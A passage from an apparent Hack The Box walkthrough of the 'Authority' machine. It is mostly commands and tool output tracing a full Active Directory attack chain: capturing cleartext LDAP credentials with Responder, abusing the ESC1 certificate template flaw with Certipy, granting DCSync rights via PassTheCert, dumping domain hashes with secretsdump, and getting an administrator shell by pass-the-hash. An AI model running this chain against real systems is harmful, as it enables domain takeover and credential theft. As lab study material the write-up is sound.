[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.10]
    Responder IPv6             [dead:beef:2::1008]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-ZNYNWH2OMK2]
    Responder Domain Name      [3VZO.LOCAL]
    Responder DCE-RPC Port     [48048]

[+] Listening for events...
Now, let's click on Test LDAP Profile:



Finally, we captured the LDAP Request:

[LDAP] Attempting to parse an old simple Bind request.
[LDAP] Cleartext Client   : 10.10.11.222
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
We obtained credentials for the svc_ldap user:

elswix@kali$ crackmapexec smb 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
Since the WinRM service (Port 5985) is available, we can check if svc_ldap belongs to the Remote Management Users group. If that's the case, we can obtain a shell as svc_ldap by connecting to the WinRM service using tools like Evil-WinRM.

We can check this using crackmapexec:

elswix@kali$ crackmapexec winrm 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
SMB         10.10.11.222    5985   AUTHORITY        [*] Windows 10.0 Build 17763 (name:AUTHORITY) (domain:authority.htb)
HTTP        10.10.11.222    5985   AUTHORITY        [*] http://10.10.11.222:5985/wsman
WINRM       10.10.11.222    5985   AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)
Now that we know svc_ldap belongs to the Remote Management Users group, we can use Evil-WinRM to obtain a shell:

elswix@kali$ evil-winrm -i 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
We have successfully accessed the system as the svc_ldap user, and we can now read the first flag:

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cat ..\desktop\user.txt
cf744**********************d8f4d
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
The svc_ldap user doesn't have any interesting privileges:

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
And doesn't belong to any interesting groups:

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami /all

USER INFORMATION
----------------

User Name    SID
============ =============================================
htb\svc_ldap S-1-5-21-622327497-3269355298-2248959698-1601


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
After further enumerating the system, I thought about examining ADCS as it might be a potential avenue for privilege escalation.

Firstly, I enumerated vulnerable templates using the Certipy tool:

elswix@kali$ certipy-ad find -vulnerable -username 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -stdout
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : AUTHORITY.HTB\Administrators
      Access Rights
        ManageCa                        : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        ManageCertificates              : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Enroll                          : AUTHORITY.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollmentCheckUserDsCertificate
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Property Principals       : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
It's important to highlight the following information:

CA Name                             : AUTHORITY-CA
Template Name                       : CorpVPN
DNS Name                            : authority.authority.htb
Enrollee Supplies Subject           : True
Certificate Authorities             : AUTHORITY-CA
If the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is set in the mspki-certificate-name-flag property, it allows the person requesting a certificate (enrollee) to provide their own alternative Subject Name when creating a certificate signing request. This implies that any user with the permission to request a certificate using this configuration can essentially request a certificate as if they were any user on the network, even one with elevated privileges.

[!] Vulnerabilities
      ESC1                              : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
Members of the Domain Computers group can exploit this vulnerability.

Since we don't have credentials for Domain Computers, let's check if we can add a computer account to the domain. By default, when you add a computer account, it belongs to the Domain Computers group. To test this, we can use crackmapexec:

elswix@kali$ crackmapexec ldap 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -M maq
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.222    636    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! 
MAQ         10.10.11.222    389    AUTHORITY        [*] Getting the MachineAccountQuota
MAQ         10.10.11.222    389    AUTHORITY        MachineAccountQuota: 10
The MachineAccountQuota parameter is designed to control the maximum number of machine accounts (computer accounts) that can be created within a specific domain. Additionally, since the user possesses the default SeMachineAccountPrivilege privilege, it has the ability to add machine accounts to the domain.

To add machine accounts to the domain, we can use the impacket-addcomputer tool from the Impacket suite.

elswix@kali$ impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -computer-name 'elswixpc' -computer-pass 'Password123!' -dc-ip 10.10.11.222
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account elswixpc$ with password Password123!.
Since we can request a certificate as any user, we will request a ticket specifying the administrator UPN (User Principal Name). Typically, the UPN has the following structure: user@domain.local. In this case, it would be administrator@authority.htb.

elswix@kali$ certipy-ad req -ca 'AUTHORITY-CA' -template 'CorpVPN' -username 'elswixpc$@authority.htb' -password 'Password123!' -dns authority.authority.htb -target-ip 10.10.11.222 -upn 'administrator@authority.htb' -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'AUTHORITY.HTB' at '192.168.1.1'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
With the certificate stored in the administrator_authority.pfx, we should be able to request a .ccache file and obtain the NT Hash for the administrator user.

elswix@kali$ certipy-ad auth -pfx administrator_authority.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@authority.htb'
    [1] DNS Host Name: 'authority.authority.htb'
> 0
[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
When attempting to request a TGT using the PFX file, it returns the KDC_ERR_PADATA_TYPE_NOSUPP error. This error indicates that the KDC is not configured for Kerberos authentication.

There are some tricks to bypass this error, and one way is by using the PassTheCert tool.

Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. However, several protocols, including LDAP, support Schannel, thus authentication through TLS. We created a small Proof-of-Concept tool that allows authenticating against an LDAP/S server with a certificate to perform different attack actions.

Firstly, we need to export the CRT and the KEY from the PFX file. This can be done using certipy:

elswix@kali$ certipy-ad cert -pfx administrator_authority.pfx -nokey -out administrator.crt
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'administrator.crt'
elswix@kali$ certipy-ad cert -pfx administrator_authority.pfx -nocert -out administrator.key
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Writing private key to 'administrator.key'
There are numerous options to exploit using PassTheCert. In this case, I will use the method that elevates a user for DCSync. This allows us to grant DCSync privileges to svc_ldap (the user for which we have credentials) and execute a DCSync attack to retrieve the NT Hash of the administrator user or any other desired user.

elswix@kali$ python3 /opt/PassTheCert/Python/passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222 -target 'svc_ldap' -elevate
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Granted user 'svc_ldap' DCSYNC rights!
Now, using the impacket-secretsdump tool from the Impacket suite, we can execute a DCSync attack.

elswix@kali$ impacket-secretsdump 'authority.htb/svc_ldap@10.10.11.222'
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:ac248ae00b5d3e2ea04a2ca4e4b19ae2:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:72c97be1f2c57ba5a51af2ef187969af4cf23b61b6dc444f93dd9cd1d5502a81
Administrator:aes128-cts-hmac-sha1-96:b5fb2fa35f3291a1477ca5728325029f
Administrator:des-cbc-md5:8ad3d50efed66b16
krbtgt:aes256-cts-hmac-sha1-96:1be737545ac8663be33d970cbd7bebba2ecfc5fa4fdfef3d136f148f90bd67cb
krbtgt:aes128-cts-hmac-sha1-96:d2acc08a1029f6685f5a92329c9f3161
krbtgt:des-cbc-md5:a1457c268ca11919
svc_ldap:aes256-cts-hmac-sha1-96:3773526dd267f73ee80d3df0af96202544bd2593459fdccb4452eee7c70f3b8a
svc_ldap:aes128-cts-hmac-sha1-96:08da69b159e5209b9635961c6c587a96
svc_ldap:des-cbc-md5:01a8984920866862
AUTHORITY$:aes256-cts-hmac-sha1-96:3491767984c8fd01a12f655cc6571168c9517f3ef9e4329c665bccbbc483bbab
AUTHORITY$:aes128-cts-hmac-sha1-96:e76001d8993cffabfb5abb35681aa569
AUTHORITY$:des-cbc-md5:989e105262ecec83
[*] Cleaning up...
Now, by copying the NT hash of the administrator user, we can use it as an authentication method (PassTheHash):

elswix@kali$ crackmapexec smb 10.10.11.222 -u 'administrator' -H '6961f422924da90a6928197429eea4ed'
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\administrator:6961f422924da90a6928197429eea4ed (Pwn3d!)
We can obtain a shell as the administrator user using Evil-WinRM:

elswix@kali$ evil-winrm -i 10.10.11.222 -u 'Administrator' -H '6961f422924da90a6928197429eea4ed'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ..\Desktop\root.txt
a35ec**********************f650a
*Evil-WinRM* PS C:\Users\Administrator\Documents>